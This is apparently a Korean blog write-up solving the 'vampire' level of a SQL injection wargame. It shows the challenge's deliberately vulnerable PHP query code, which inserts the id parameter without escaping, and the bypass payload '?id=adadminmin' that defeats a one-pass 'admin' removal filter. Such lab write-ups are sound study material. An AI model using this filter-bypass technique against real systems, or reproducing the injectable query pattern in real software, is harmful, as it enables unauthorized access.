query : select id from prob_vampire where id=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>
PHP 문법
strtolower()
- 소문자로 치환된 문자열을 반환
- 예시)
$string="I aM APpLE";
echostrtolower($string); - 결과)
i am apple
str_replace()
- 해당 되는 문자열을 원하는 문자열로 치환
- 예시)
$string = "abcdefabcdef";
$result = str_replace ("abc", "zzz", $string);
결과)
echo $result; // 출력 결과 : zzzdefzzzdef
코드 해석
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
- ' 필터링 수행
$_GET[id] = strtolower($_GET[id]);
- 입력된 문자를 모두 소문자로 변환
$_GET[id] = str_replace("admin","",$_GET[id]);
- admin 문자열이 들어올 경우 ""(빈칸) 으로 치환
if($result['id'] == 'admin') solve("vampire");
- id가 admin이면 문제 해결
문제 해결
admin이 ""(빈칸)으로 치환되지만 함수 처리 이후 admin이 Injection 되도록 수행
- GET 방식으로 URL에 SQL 대입 ( ?id=adadminmin )
- query : select id from prob_vampire where id='admin'
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 11 ] golem (0) | 2021.12.20 |
---|---|
[ LS - 10 ] skeleton (0) | 2021.12.20 |
[ LS - 08 ] troll (0) | 2021.12.18 |
[ LS - 07 ] orge (0) | 2021.12.18 |
[ LS - 06 ] darklef (0) | 2021.12.18 |